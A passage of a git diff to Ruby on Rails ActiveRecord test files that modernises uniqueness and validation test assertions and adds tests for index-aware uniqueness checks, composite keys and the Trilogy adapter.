   def title; ReplyTitle.new; end
+  alias heading title
+end
+
+class TopicWithEvent < Topic
+  belongs_to :event, foreign_key: :parent_id
 end
 
 class TopicWithUniqEvent < Topic
@@ -60,10 +69,18 @@ class TopicWithAfterCreate < Topic
   after_create :set_author
 
   def set_author
-    update_attributes!(author_name: "#{title} #{id}")
+    update!(author_name: "#{title} #{id}")
   end
 end
 
+class LessonWithUniqKeyboard < ActiveRecord::Base
+  self.table_name = "lessons"
+
+  belongs_to :keyboard, primary_key: :name, foreign_key: :name
+
+  validates_uniqueness_of :keyboard
+end
+
 class UniquenessValidationTest < ActiveRecord::TestCase
   INT_MAX_VALUE = 2147483647
 
@@ -81,20 +98,30 @@ def test_validate_uniqueness
     assert t.save, "Should still save t as unique"
 
     t2 = Topic.new("title" => "I'm uniqué!")
-    assert !t2.valid?, "Shouldn't be valid"
-    assert !t2.save, "Shouldn't save t2 as unique"
+    assert_not t2.valid?, "Shouldn't be valid"
+    assert_not t2.save, "Shouldn't save t2 as unique"
     assert_equal ["has already been taken"], t2.errors[:title]
 
     t2.title = "Now I am really also unique"
     assert t2.save, "Should now save t2 as unique"
   end
 
+  def test_validate_uniqueness_with_singleton_class
+    Topic.create!(title: "abc")
+    t2 = Topic.new(title: "abc")
+    t2.singleton_class.validates(:title, uniqueness: true)
+    assert_not_predicate t2, :valid?
+
+    t3 = Topic.new(title: "abc")
+    assert_predicate t3, :valid?
+  end
+
   def test_validate_uniqueness_with_alias_attribute
     Topic.alias_attribute :new_title, :title
     Topic.validates_uniqueness_of(:new_title)
 
     topic = Topic.new(new_title: "abc")
-    assert topic.valid?
+    assert_predicate topic, :valid?
   end
 
   def test_validates_uniqueness_with_nil_value
@@ -104,8 +131,8 @@ def test_validates_uniqueness_with_nil_value
     assert t.save, "Should save t as unique"
 
     t2 = Topic.new("title" => nil)
-    assert !t2.valid?, "Shouldn't be valid"
-    assert !t2.save, "Shouldn't save t2 as unique"
+    assert_not t2.valid?, "Shouldn't be valid"
+    assert_not t2.save, "Shouldn't save t2 as unique"
     assert_equal ["has already been taken"], t2.errors[:title]
   end
 
@@ -114,18 +141,18 @@ def test_validates_uniqueness_with_validates
     Topic.create!("title" => "abc")
 
     t2 = Topic.new("title" => "abc")
-    assert !t2.valid?
+    assert_not_predicate t2, :valid?
     assert t2.errors[:title]
   end
 
   def test_validate_uniqueness_when_integer_out_of_range
     entry = BigIntTest.create(engines_count: INT_MAX_VALUE + 1)
-    assert_equal entry.errors[:engines_count], ["is not included in the list"]
+    assert_equal ["is not included in the list"], entry.errors[:engines_count]
   end
 
   def test_validate_uniqueness_when_integer_out_of_range_show_order_does_not_matter
     entry = BigIntReverseTest.create(engines_count: INT_MAX_VALUE + 1)
-    assert_equal entry.errors[:engines_count], ["is not included in the list"]
+    assert_equal ["is not included in the list"], entry.errors[:engines_count]
   end
 
   def test_validates_uniqueness_with_newline_chars
@@ -141,17 +168,43 @@ def test_validate_uniqueness_with_scope
     t = Topic.create("title" => "I'm unique!")
 
     r1 = t.replies.create "title" => "r1", "content" => "hello world"
-    assert r1.valid?, "Saving r1"
+    assert_predicate r1, :valid?, "Saving r1"
 
     r2 = t.replies.create "title" => "r2", "content" => "hello world"
-    assert !r2.valid?, "Saving r2 first time"
+    assert_not r2.valid?, "Saving r2 first time"
 
     r2.content = "something else"
     assert r2.save, "Saving r2 second time"
 
     t2 = Topic.create("title" => "I'm unique too!")
     r3 = t2.replies.create "title" => "r3", "content" => "hello world"
-    assert r3.valid?, "Saving r3"
+    assert_predicate r3, :valid?, "Saving r3"
+  end
+
+  def test_validate_uniqueness_with_aliases
+    Reply.validates_uniqueness_of(:new_content, scope: :new_parent_id)
+
+    t = Topic.create(title: "I'm unique!")
+
+    r1 = t.replies.create(title: "r1", content: "hello world")
+    assert_predicate r1, :valid?, "Saving r1"
+
+    r2 = t.replies.create(title: "r2", content: "hello world")
+    assert_not_predicate r2, :valid?, "Saving r2 first time"
+
+    r2.content = "something else"
+    assert r2.save, "Saving r2 second time"
+
+    t2 = Topic.create("title" => "I'm unique too!")
+    r3 = t2.replies.create(title: "r3", content: "hello world")
+    assert_predicate r3, :valid?, "Saving r3"
+  end
+
+  def test_validate_uniqueness_with_scope_invalid_syntax
+    error = assert_raises(ArgumentError) do
+      Reply.validates_uniqueness_of(:content, scope: { parent_id: false })
+    end
+    assert_match(/Pass a symbol or an array of symbols instead/, error.to_s)
   end
 
   def test_validate_uniqueness_with_object_scope
@@ -160,31 +213,33 @@ def test_validate_uniqueness_with_object_scope
     t = Topic.create("title" => "I'm unique!")
 
     r1 = t.replies.create "title" => "r1", "content" => "hello world"
-    assert r1.valid?, "Saving r1"
+    assert_predicate r1, :valid?, "Saving r1"
 
     r2 = t.replies.create "title" => "r2", "content" => "hello world"
-    assert !r2.valid?, "Saving r2 first time"
+    assert_not r2.valid?, "Saving r2 first time"
   end
 
   def test_validate_uniqueness_with_polymorphic_object_scope
-    Essay.validates_uniqueness_of(:name, scope: :writer)
+    repair_validations(Essay) do
+      Essay.validates_uniqueness_of(:name, scope: :writer)
 
-    a = Author.create(name: "Sergey")
-    p = Person.create(first_name: "Sergey")
+      a = Author.create(name: "Sergey")
+      p = Person.create(first_name: "Sergey")
 
-    e1 = a.essays.create(name: "Essay")
-    assert e1.valid?, "Saving e1"
+      e1 = a.essays.create(name: "Essay")
+      assert_predicate e1, :valid?, "Saving e1"
 
-    e2 = p.essays.create(name: "Essay")
-    assert e2.valid?, "Saving e2"
+      e2 = p.essays.create(name: "Essay")
+      assert_predicate e2, :valid?, "Saving e2"
+    end
   end
 
   def test_validate_uniqueness_with_composed_attribute_scope
     r1 = ReplyWithTitleObject.create "title" => "r1", "content" => "hello world"
-    assert r1.valid?, "Saving r1"
+    assert_predicate r1, :valid?, "Saving r1"
 
     r2 = ReplyWithTitleObject.create "title" => "r1", "content" => "hello world"
-    assert !r2.valid?, "Saving r2 first time"
+    assert_not r2.valid?, "Saving r2 first time"
   end
 
   def test_validate_uniqueness_with_object_arg
@@ -193,25 +248,25 @@ def test_validate_uniqueness_with_object_arg
     t = Topic.create("title" => "I'm unique!")
 
     r1 = t.replies.create "title" => "r1", "content" => "hello world"
-    assert r1.valid?, "Saving r1"
+    assert_predicate r1, :valid?, "Saving r1"
 
     r2 = t.replies.create "title" => "r2", "content" => "hello world"
-    assert !r2.valid?, "Saving r2 first time"
+    assert_not r2.valid?, "Saving r2 first time"
   end
 
   def test_validate_uniqueness_scoped_to_defining_class
     t = Topic.create("title" => "What, me worry?")
 
     r1 = t.unique_replies.create "title" => "r1", "content" => "a barrel of fun"
-    assert r1.valid?, "Saving r1"
+    assert_predicate r1, :valid?, "Saving r1"
 
     r2 = t.silly_unique_replies.create "title" => "r2", "content" => "a barrel of fun"
-    assert !r2.valid?, "Saving r2"
+    assert_not r2.valid?, "Saving r2"
 
     # Should succeed as validates_uniqueness_of only applies to
     # UniqueReply and its subclasses
     r3 = t.replies.create "title" => "r2", "content" => "a barrel of fun"
-    assert r3.valid?, "Saving r3"
+    assert_predicate r3, :valid?, "Saving r3"
   end
 
   def test_validate_uniqueness_with_scope_array
@@ -219,23 +274,23 @@ def test_validate_uniqueness_with_scope_array
 
     t = Topic.create("title" => "The earth is actually flat!")
 
-    r1 = t.replies.create "author_name" => "jeremy", "author_email_address" => "jeremy@rubyonrails.com", "title" => "You're crazy!", "content" => "Crazy reply"
-    assert r1.valid?, "Saving r1"
+    r1 = t.replies.create "author_name" => "jeremy", "author_email_address" => "jeremy@rubyonrails.com", "title" => "You're joking!", "content" => "Silly reply"
+    assert_predicate r1, :valid?, "Saving r1"
 
-    r2 = t.replies.create "author_name" => "jeremy", "author_email_address" => "jeremy@rubyonrails.com", "title" => "You're crazy!", "content" => "Crazy reply again..."
-    assert !r2.valid?, "Saving r2. Double reply by same author."
+    r2 = t.replies.create "author_name" => "jeremy", "author_email_address" => "jeremy@rubyonrails.com", "title" => "You're joking!", "content" => "Silly reply again..."
+    assert_not r2.valid?, "Saving r2. Double reply by same author."
 
     r2.author_email_address = "jeremy_alt_email@rubyonrails.com"
     assert r2.save, "Saving r2 the second time."
 
     r3 = t.replies.create "author_name" => "jeremy", "author_email_address" => "jeremy_alt_email@rubyonrails.com", "title" => "You're wrong", "content" => "It's cubic"
-    assert !r3.valid?, "Saving r3"
+    assert_not r3.valid?, "Saving r3"
 
     r3.author_name = "jj"
     assert r3.save, "Saving r3 the second time."
 
     r3.author_name = "jeremy"
-    assert !r3.save, "Saving r3 the third time."
+    assert_not r3.save, "Saving r3 the third time."
   end
 
   def test_validate_case_insensitive_uniqueness
@@ -248,24 +303,24 @@ def test_validate_case_insensitive_uniqueness
     assert t.save, "Should still save t as unique"
 
     t2 = Topic.new("title" => "I'm UNIQUE!", :parent_id => 1)
-    assert !t2.valid?, "Shouldn't be valid"
-    assert !t2.save, "Shouldn't save t2 as unique"
-    assert t2.errors[:title].any?
-    assert t2.errors[:parent_id].any?
+    assert_not t2.valid?, "Shouldn't be valid"
+    assert_not t2.save, "Shouldn't save t2 as unique"
+    assert_predicate t2.errors[:title], :any?
+    assert_predicate t2.errors[:parent_id], :any?
     assert_equal ["has already been taken"], t2.errors[:title]
 
     t2.title = "I'm truly UNIQUE!"
-    assert !t2.valid?, "Shouldn't be valid"
-    assert !t2.save, "Shouldn't save t2 as unique"
-    assert t2.errors[:title].empty?
-    assert t2.errors[:parent_id].any?
+    assert_not t2.valid?, "Shouldn't be valid"
+    assert_not t2.save, "Shouldn't save t2 as unique"
+    assert_empty t2.errors[:title]
+    assert_predicate t2.errors[:parent_id], :any?
 
     t2.parent_id = 4
     assert t2.save, "Should now save t2 as unique"
 
     t2.parent_id = nil
     t2.title = nil
-    assert t2.valid?, "should validate with nil"
+    assert_predicate t2, :valid?, "should validate with nil"
     assert t2.save, "should save with nil"
 
     t_utf8 = Topic.new("title" => "Я тоже уникальный!")
@@ -274,8 +329,8 @@ def test_validate_case_insensitive_uniqueness
     # If database hasn't UTF-8 character set, this test fails
     if Topic.all.merge!(select: "LOWER(title) AS title").find(t_utf8.id).title == "� тоже уникальный!"
       t2_utf8 = Topic.new("title" => "� тоже У�ИК�ЛЬ�ЫЙ!")
-      assert !t2_utf8.valid?, "Shouldn't be valid"
-      assert !t2_utf8.save, "Shouldn't save t2_utf8 as unique"
+      assert_not t2_utf8.valid?, "Shouldn't be valid"
+      assert_not t2_utf8.save, "Shouldn't save t2_utf8 as unique"
     end
   end
 
@@ -305,6 +360,31 @@ def test_validate_case_insensitive_uniqueness_with_special_sql_like_chars
     assert t3.save, "Should save t3 as unique"
   end
 
+  def test_validate_uniqueness_by_default_database_collation
+    Topic.validates_uniqueness_of(:author_email_address)
+
+    topic1 = Topic.new(author_email_address: "david@loudthinking.com")
+    topic2 = Topic.new(author_email_address: "David@loudthinking.com")
+
+    assert_equal 1, Topic.where(author_email_address: "david@loudthinking.com").count
+
+    assert_not topic1.valid?
+    assert_not topic1.save
+
+    if current_adapter?(:Mysql2Adapter, :TrilogyAdapter)
+      # Case insensitive collation (utf8mb4_0900_ai_ci) by default.
+      # Should not allow "David" if "david" exists.
+      assert_not topic2.valid?
+      assert_not topic2.save
+    else
+      assert_predicate topic2, :valid?
+      assert topic2.save
+    end
+
+    assert_equal 1, Topic.where(author_email_address: "david@loudthinking.com").count
+    assert_equal 1, Topic.where(author_email_address: "David@loudthinking.com").count
+  end
+
   def test_validate_case_sensitive_uniqueness
     Topic.validates_uniqueness_of(:title, case_sensitive: true, allow_nil: true)
 
@@ -315,17 +395,17 @@ def test_validate_case_sensitive_uniqueness
     assert t.save, "Should still save t as unique"
 
     t2 = Topic.new("title" => "I'M UNIQUE!")
-    assert t2.valid?, "Should be valid"
+    assert_predicate t2, :valid?, "Should be valid"
     assert t2.save, "Should save t2 as unique"
-    assert t2.errors[:title].empty?
-    assert t2.errors[:parent_id].empty?
+    assert_empty t2.errors[:title]
+    assert_empty t2.errors[:parent_id]
     assert_not_equal ["has already been taken"], t2.errors[:title]
 
     t3 = Topic.new("title" => "I'M uNiQUe!")
-    assert t3.valid?, "Should be valid"
+    assert_predicate t3, :valid?, "Should be valid"
     assert t3.save, "Should save t2 as unique"
-    assert t3.errors[:title].empty?
-    assert t3.errors[:parent_id].empty?
+    assert_empty t3.errors[:title]
+    assert_empty t3.errors[:parent_id]
     assert_not_equal ["has already been taken"], t3.errors[:title]
   end
 
@@ -334,14 +414,14 @@ def test_validate_case_sensitive_uniqueness_with_attribute_passed_as_integer
     Topic.create!("title" => 101)
 
     t2 = Topic.new("title" => 101)
-    assert !t2.valid?
+    assert_not_predicate t2, :valid?
     assert t2.errors[:title]
   end
 
   def test_validate_uniqueness_with_non_standard_table_names
     i1 = WarehouseThing.create(value: 1000)
-    assert !i1.valid?, "i1 should not be valid"
-    assert i1.errors[:value].any?, "Should not be empty"
+    assert_not i1.valid?, "i1 should not be valid"
+    assert_predicate i1.errors[:value], :any?, "Should not be empty"
   end
 
   def test_validates_uniqueness_inside_scoping
@@ -351,7 +431,7 @@ def test_validates_uniqueness_inside_scoping
       t1 = Topic.new("title" => "I'm unique!", "author_name" => "Mary")
       assert t1.save
       t2 = Topic.new("title" => "I'm unique!", "author_name" => "David")
-      assert !t2.valid?
+      assert_not_predicate t2, :valid?
     end
   end
 
@@ -368,11 +448,11 @@ def test_validate_uniqueness_with_limit
     if current_adapter?(:SQLite3Adapter)
       # Event.title has limit 5, but SQLite doesn't truncate.
       e1 = Event.create(title: "abcdefgh")
-      assert e1.valid?, "Could not create an event with a unique 8 characters title"
+      assert_predicate e1, :valid?, "Could not create an event with a unique 8 characters title"
 
       e2 = Event.create(title: "abcdefgh")
       assert_not e2.valid?, "Created an event whose title is not unique"
-    elsif current_adapter?(:Mysql2Adapter, :PostgreSQLAdapter, :OracleAdapter, :SQLServerAdapter)
+    elsif current_adapter?(:Mysql2Adapter, :TrilogyAdapter, :PostgreSQLAdapter)
       assert_raise(ActiveRecord::ValueTooLong) do
         Event.create(title: "abcdefgh")
       end
@@ -385,13 +465,13 @@ def test_validate_uniqueness_with_limit
 
   def test_validate_uniqueness_with_limit_and_utf8
     if current_adapter?(:SQLite3Adapter)
-      # Event.title has limit 5, but does SQLite doesn't truncate.
+      # Event.title has limit 5, but SQLite doesn't truncate.
       e1 = Event.create(title: "一二三四五六七八")
-      assert e1.valid?, "Could not create an event with a unique 8 characters title"
+      assert_predicate e1, :valid?, "Could not create an event with a unique 8 characters title"
 
       e2 = Event.create(title: "一二三四五六七八")
       assert_not e2.valid?, "Created an event whose title is not unique"
-    elsif current_adapter?(:Mysql2Adapter, :PostgreSQLAdapter, :OracleAdapter, :SQLServerAdapter)
+    elsif current_adapter?(:Mysql2Adapter, :TrilogyAdapter, :PostgreSQLAdapter)
       assert_raise(ActiveRecord::ValueTooLong) do
         Event.create(title: "一二三四五六七八")
       end
@@ -404,30 +484,30 @@ def test_validate_uniqueness_with_limit_and_utf8
 
   def test_validate_straight_inheritance_uniqueness
     w1 = IneptWizard.create(name: "Rincewind", city: "Ankh-Morpork")
-    assert w1.valid?, "Saving w1"
+    assert_predicate w1, :valid?, "Saving w1"
 
     # Should use validation from base class (which is abstract)
     w2 = IneptWizard.new(name: "Rincewind", city: "Quirm")
-    assert !w2.valid?, "w2 shouldn't be valid"
-    assert w2.errors[:name].any?, "Should have errors for name"
+    assert_not w2.valid?, "w2 shouldn't be valid"
+    assert_predicate w2.errors[:name], :any?, "Should have errors for name"
     assert_equal ["has already been taken"], w2.errors[:name], "Should have uniqueness message for name"
 
     w3 = Conjurer.new(name: "Rincewind", city: "Quirm")
-    assert !w3.valid?, "w3 shouldn't be valid"
-    assert w3.errors[:name].any?, "Should have errors for name"
+    assert_not w3.valid?, "w3 shouldn't be valid"
+    assert_predicate w3.errors[:name], :any?, "Should have errors for name"
     assert_equal ["has already been taken"], w3.errors[:name], "Should have uniqueness message for name"
 
     w4 = Conjurer.create(name: "The Amazing Bonko", city: "Quirm")
-    assert w4.valid?, "Saving w4"
+    assert_predicate w4, :valid?, "Saving w4"
 
     w5 = Thaumaturgist.new(name: "The Amazing Bonko", city: "Lancre")
-    assert !w5.valid?, "w5 shouldn't be valid"
-    assert w5.errors[:name].any?, "Should have errors for name"
+    assert_not w5.valid?, "w5 shouldn't be valid"
+    assert_predicate w5.errors[:name], :any?, "Should have errors for name"
     assert_equal ["has already been taken"], w5.errors[:name], "Should have uniqueness message for name"
 
     w6 = Thaumaturgist.new(name: "Mustrum Ridcully", city: "Quirm")
-    assert !w6.valid?, "w6 shouldn't be valid"
-    assert w6.errors[:city].any?, "Should have errors for city"
+    assert_not w6.valid?, "w6 shouldn't be valid"
+    assert_predicate w6.errors[:city], :any?, "Should have errors for city"
     assert_equal ["has already been taken"], w6.errors[:city], "Should have uniqueness message for city"
   end
 
@@ -437,10 +517,10 @@ def test_validate_uniqueness_with_conditions
     Topic.create("title" => "I'm an unapproved topic", "approved" => false)
 
     t3 = Topic.new("title" => "I'm a topic", "approved" => true)
-    assert !t3.valid?, "t3 shouldn't be valid"
+    assert_not t3.valid?, "t3 shouldn't be valid"
 
     t4 = Topic.new("title" => "I'm an unapproved topic", "approved" => false)
-    assert t4.valid?, "t4 should be valid"
+    assert_predicate t4, :valid?, "t4 should be valid"
   end
 
   def test_validate_uniqueness_with_non_callable_conditions_is_not_supported
@@ -449,18 +529,35 @@ def test_validate_uniqueness_with_non_callable_conditions_is_not_supported
     }
   end
 
+  def test_validate_uniqueness_with_conditions_with_record_arg
+    Topic.validates_uniqueness_of :title, conditions: ->(record) {
+      where(written_on: record.written_on.beginning_of_day..record.written_on.end_of_day)
+    }
+
+    today_midday = Time.current.midday
+
+    todays_topic = Topic.new(title: "Highlights of the Day", written_on: today_midday)
+    assert todays_topic.save, "1st topic written today with this title should save"
+
+    todays_topic_duplicate = Topic.new(title: "Highlights of the Day", written_on: today_midday + 1.minute)
+    assert_predicate todays_topic_duplicate, :invalid?, "2nd topic written today with this title should be invalid"
+
+    tomorrows_topic = Topic.new(title: "Highlights of the Day", written_on: today_midday + 1.day)
+    assert_predicate tomorrows_topic, :valid?, "1st topic written tomorrow with this title should be valid"
+  end
+
   def test_validate_uniqueness_on_existing_relation
     event = Event.create
-    assert TopicWithUniqEvent.create(event: event).valid?
+    assert_predicate TopicWithUniqEvent.create(event: event), :valid?
 
     topic = TopicWithUniqEvent.new(event: event)
-    assert_not topic.valid?
+    assert_not_predicate topic, :valid?
     assert_equal ["has already been taken"], topic.errors[:event]
   end
 
   def test_validate_uniqueness_on_empty_relation
     topic = TopicWithUniqEvent.new
-    assert topic.valid?
+    assert_predicate topic, :valid?
   end
 
   def test_validate_uniqueness_of_custom_primary_key
@@ -479,7 +576,7 @@ def self.name
     key2 = klass.create!(key_number: 11)
 
     key2.key_number = 10
-    assert_not key2.valid?
+    assert_not_predicate key2, :valid?
   end
 
   def test_validate_uniqueness_without_primary_key
@@ -492,8 +589,8 @@ def self.name; "Dashboard" end
     end
 
     abc = klass.create!(dashboard_id: "abc")
-    assert klass.new(dashboard_id: "xyz").valid?
-    assert_not klass.new(dashboard_id: "abc").valid?
+    assert_predicate klass.new(dashboard_id: "xyz"), :valid?
+    assert_not_predicate klass.new(dashboard_id: "abc"), :valid?
 
     abc.dashboard_id = "def"
 
@@ -501,7 +598,7 @@ def self.name; "Dashboard" end
       abc.save!
     end
     assert_match(/\AUnknown primary key for table dashboards in model/, e.message)
-    assert_match(/Can not validate uniqueness for persisted record without primary key.\z/, e.message)
+    assert_match(/Cannot validate uniqueness for persisted record without primary key.\z/, e.message)
   end
 
   def test_validate_uniqueness_ignores_itself_when_primary_key_changed
@@ -511,7 +608,7 @@ def test_validate_uniqueness_ignores_itself_when_primary_key_changed
     assert t.save, "Should save t as unique"
 
     t.id += 1
-    assert t.valid?, "Should be valid"
+    assert_predicate t, :valid?, "Should be valid"
     assert t.save, "Should still save t as unique"
   end
 
@@ -521,7 +618,7 @@ def test_validate_uniqueness_with_after_create_performing_save
     assert topic.author_name.start_with?("Title1")
 
     topic2 = TopicWithAfterCreate.new(title: "Title1")
-    refute topic2.valid?
+    assert_not_predicate topic2, :valid?
     assert_equal(["has already been taken"], topic2.errors[:title])
   end
 
@@ -541,8 +638,221 @@ def test_validate_uniqueness_regular_id
     assert_empty item.errors
 
     item2 = CoolTopic.new(id: item.id, title: "MyItem2")
-    refute item2.valid?
+    assert_not_predicate item2, :valid?
 
     assert_equal(["has already been taken"], item2.errors[:id])
   end
 end
+
+class UniquenessValidationWithIndexTest < ActiveRecord::TestCase
+  self.use_transactional_tests = false
+
+  def setup
+    @connection = Topic.lease_connection
+    @connection.schema_cache.clear!
+    Topic.delete_all
+    Event.delete_all
+  end
+
+  def teardown
+    Topic.clear_validators!
+    @connection.remove_index(:topics, name: :topics_index, if_exists: true)
+  end
+
+  def test_new_record
+    Topic.validates_uniqueness_of(:title)
+    @connection.add_index(:topics, :title, unique: true, name: :topics_index)
+
+    t = Topic.new(title: "abc")
+    assert_queries_count(1) do
+      t.valid?
+    end
+  end
+
+  def test_changing_non_unique_attribute
+    Topic.validates_uniqueness_of(:title)
+    @connection.add_index(:topics, :title, unique: true, name: :topics_index)
+
+    t = Topic.create!(title: "abc")
+    t.author_name = "John"
+    assert_no_queries do
+      t.valid?
+    end
+  end
+
+  def test_changing_unique_attribute
+    Topic.validates_uniqueness_of(:title)
+    @connection.add_index(:topics, :title, unique: true, name: :topics_index)
+
+    t = Topic.create!(title: "abc")
+    t.title = "abc v2"
+    assert_queries_count(1) do
+      t.valid?
+    end
+  end
+
+  def test_changing_non_unique_attribute_and_unique_attribute_is_nil
+    Topic.validates_uniqueness_of(:title)
+    @connection.add_index(:topics, :title, unique: true, name: :topics_index)
+
+    t = Topic.create!
+    assert_nil t.title
+    t.author_name = "John"
+    assert_queries_count(1) do
+      t.valid?
+    end
+  end
+
+  def test_conditions
+    Topic.validates_uniqueness_of(:title, conditions: -> { where.not(author_name: nil) })
+    @connection.add_index(:topics, :title, unique: true, name: :topics_index)
+
+    t = Topic.create!(title: "abc")
+    t.title = "abc v2"
+    assert_queries_count(1) do
+      t.valid?
+    end
+  end
+
+  def test_case_sensitive
+    Topic.validates_uniqueness_of(:title, case_sensitive: true)
+    @connection.add_index(:topics, :title, unique: true, name: :topics_index)
+
+    t = Topic.create!(title: "abc")
+    t.title = "abc v2"
+    assert_queries_count(1) do
+      t.valid?
+    end
+  end
+
+  def test_partial_index
+    skip unless @connection.supports_partial_index?
+
+    Topic.validates_uniqueness_of(:title)
+    @connection.add_index(:topics, :title, unique: true, where: "approved", name: :topics_index)
+
+    t = Topic.create!(title: "abc")
+    t.author_name = "John"
+    assert_queries_count(1) do
+      t.valid?
+    end
+  end
+
+  def test_non_unique_index
+    Topic.validates_uniqueness_of(:title)
+    @connection.add_index(:topics, :title, name: :topics_index)
+
+    t = Topic.create!(title: "abc")
+    t.author_name = "John"
+    assert_queries_count(1) do
+      t.valid?
+    end
+  end
+
+  def test_scope
+    Topic.validates_uniqueness_of(:title, scope: :author_name)
+    @connection.add_index(:topics, [:author_name, :title], unique: true, name: :topics_index)
+
+    t = Topic.create!(title: "abc", author_name: "John")
+    t.content = "hello world"
+    assert_no_queries do
+      t.valid?
+    end
+
+    t.author_name = "Amy"
+    assert_queries_count(1) do
+      t.valid?
+    end
+  end
+
+  def test_uniqueness_on_relation
+    TopicWithEvent.validates_uniqueness_of(:event)
+    @connection.add_index(:topics, :parent_id, unique: true, name: :topics_index)
+
+    e1 = Event.create!(title: "abc")
+    e2 = Event.create!(title: "cde")
+    t = TopicWithEvent.create!(event: e1)
+
+    t.content = "hello world"
+    assert_no_queries do
+      t.valid?
+    end
+
+    t.event = e2
+    assert_queries_count(1) do
+      t.valid?
+    end
+  ensure
+    TopicWithEvent.clear_validators!
+    Event.delete_all
+  end
+
+  def test_uniqueness_on_custom_relation_primary_key
+    Keyboard.create!(name: "Keyboard #1")
+    LessonWithUniqKeyboard.create!(name: "Keyboard #1")
+
+    another = LessonWithUniqKeyboard.new(name: "Keyboard #1")
+    assert_not_predicate another, :valid?
+    assert_equal ["has already been taken"], another.errors[:keyboard]
+  end
+
+  def test_index_of_sublist_of_columns
+    Topic.validates_uniqueness_of(:title, scope: :author_name)
+    @connection.add_index(:topics, :author_name, unique: true, name: :topics_index)
+
+    t = Topic.create!(title: "abc", author_name: "John")
+    t.content = "hello world"
+    assert_no_queries do
+      t.valid?
+    end
+
+    t.author_name = "Amy"
+    assert_queries_count(1) do
+      t.valid?
+    end
+  end
+
+  def test_index_of_columns_list_and_extra_columns
+    Topic.validates_uniqueness_of(:title)
+    @connection.add_index(:topics, [:title, :author_name], unique: true, name: :topics_index)
+
+    t = Topic.create!(title: "abc", author_name: "John")
+    t.content = "hello world"
+    assert_queries_count(1) do
+      t.valid?
+    end
+  end
+
+  if current_adapter?(:PostgreSQLAdapter)
+    def test_expression_index
+      Topic.validates_uniqueness_of(:title)
+      @connection.add_index(:topics, "LOWER(title)", unique: true, name: :topics_index)
+
+      t = Topic.create!(title: "abc", author_name: "John")
+      t.content = "hello world"
+
+      assert_queries_count(1) do
+        t.valid?
+      end
+    end
+  end
+end
+
+class UniquenessWithCompositeKey < ActiveRecord::TestCase
+  class BookWithUniqueRevision < Cpk::Book
+    validates :revision, uniqueness: true
+  end
+
+  def test_uniqueness_validation_for_model_with_composite_key
+    book_one = BookWithUniqueRevision.create!(id: [1, 42], title: "Author 1's book", revision: 36)
+    book_two = BookWithUniqueRevision.create!(id: [2, 42], title: "Author 2's book", revision: 37)
+
+    assert_not_equal book_one.revision, book_two.revision
+
+    assert_changes("book_two.valid?", from: true, to: false) do
+      book_two.revision = book_one.revision
+    end
+  ensure
+    BookWithUniqueRevision.delete_all
+  end
+end
diff --git a/activerecord/test/cases/validations_repair_helper.rb b/activerecord/test/cases/validations_repair_helper.rb
index b30666d8769d5..6dc3b64b2bcd5 100644
--- a/activerecord/test/cases/validations_repair_helper.rb
+++ b/activerecord/test/cases/validations_repair_helper.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 module ActiveRecord
   module ValidationsRepairHelper
     extend ActiveSupport::Concern
diff --git a/activerecord/test/cases/validations_test.rb b/activerecord/test/cases/validations_test.rb
index 5d9aa9949769f..c3eaad7a49dd3 100644
--- a/activerecord/test/cases/validations_test.rb
+++ b/activerecord/test/cases/validations_test.rb
@@ -1,11 +1,13 @@
+# frozen_string_literal: true
+
 require "cases/helper"
 require "models/topic"
 require "models/reply"
-require "models/person"
 require "models/developer"
 require "models/computer"
 require "models/parrot"
 require "models/company"
+require "models/price_estimate"
 
 class ValidationsTest < ActiveRecord::TestCase
   fixtures :topics, :developers
@@ -17,8 +19,8 @@ class ValidationsTest < ActiveRecord::TestCase
   def test_valid_uses_create_context_when_new
     r = WrongReply.new
     r.title = "Wrong Create"
-    assert_not r.valid?
-    assert r.errors[:title].any?, "A reply with a bad title should mark that attribute as invalid"
+    assert_not_predicate r, :valid?
+    assert_predicate r.errors[:title], :any?, "A reply with a bad title should mark that attribute as invalid"
     assert_equal ["is Wrong Create"], r.errors[:title], "A reply with a bad content should contain an error"
   end
 
@@ -31,13 +33,13 @@ def test_valid_uses_update_context_when_persisted
     r.title = "Wrong Update"
     assert_not r.valid?, "Second validation should fail"
 
-    assert r.errors[:title].any?, "A reply with a bad title should mark that attribute as invalid"
+    assert_predicate r.errors[:title], :any?, "A reply with a bad title should mark that attribute as invalid"
     assert_equal ["is Wrong Update"], r.errors[:title], "A reply with a bad content should contain an error"
   end
 
   def test_valid_using_special_context
     r = WrongReply.new(title: "Valid title")
-    assert !r.valid?(:special_case)
+    assert_not r.valid?(:special_case)
     assert_equal "Invalid", r.errors[:author_name].join
 
     r.author_name = "secret"
@@ -123,7 +125,7 @@ def test_exception_on_create_bang_many_with_block
 
   def test_save_without_validation
     reply = WrongReply.new
-    assert !reply.save
+    assert_not reply.save
     assert reply.save(validate: false)
   end
 
@@ -137,14 +139,23 @@ def test_validates_acceptance_of_with_non_existent_table
 
   def test_throw_away_typing
     d = Developer.new("name" => "David", "salary" => "100,000")
-    assert !d.valid?
+    assert_not_predicate d, :valid?
     assert_equal 100, d.salary
     assert_equal "100,000", d.salary_before_type_cast
   end
 
+  def test_validates_acceptance_of_with_undefined_attribute_methods
+    klass = Class.new(Topic)
+    klass.validates_acceptance_of(:approved)
+    topic = klass.new(approved: true)
+    klass.undefine_attribute_methods
+    assert topic.approved
+  end
+
   def test_validates_acceptance_of_as_database_column
-    Topic.validates_acceptance_of(:approved)
-    topic = Topic.create("approved" => true)
+    klass = Class.new(Topic)
+    klass.validates_acceptance_of(:approved)
+    topic = klass.create("approved" => true)
     assert topic["approved"]
   end
 
@@ -164,7 +175,45 @@ def test_numericality_validation_with_mutation
     topic = klass.new(wibble: "123-4567")
     topic.wibble.gsub!("-", "")
 
-    assert topic.valid?
+    assert_predicate topic, :valid?
+  end
+
+  def test_numericality_validation_checks_against_raw_value
+    klass = Class.new(Topic) do
+      def self.model_name
+        ActiveModel::Name.new(self, nil, "Topic")
+      end
+      attribute :wibble, :decimal, scale: 2, precision: 9
+      validates_numericality_of :wibble, greater_than_or_equal_to: BigDecimal("97.18")
+    end
+
+    ["97.179", 97.179, BigDecimal("97.179")].each do |raw_value|
+      subject = klass.new(wibble: raw_value)
+      assert_equal BigDecimal("97.18"), subject.wibble
+      assert_predicate subject, :valid?
+    end
+
+    ["97.174", 97.174, BigDecimal("97.174")].each do |raw_value|
+      subject = klass.new(wibble: raw_value)
+      assert_equal BigDecimal("97.17"), subject.wibble
+      assert_not_predicate subject, :valid?
+    end
+  end
+
+  def test_numericality_validator_wont_be_affected_by_custom_getter
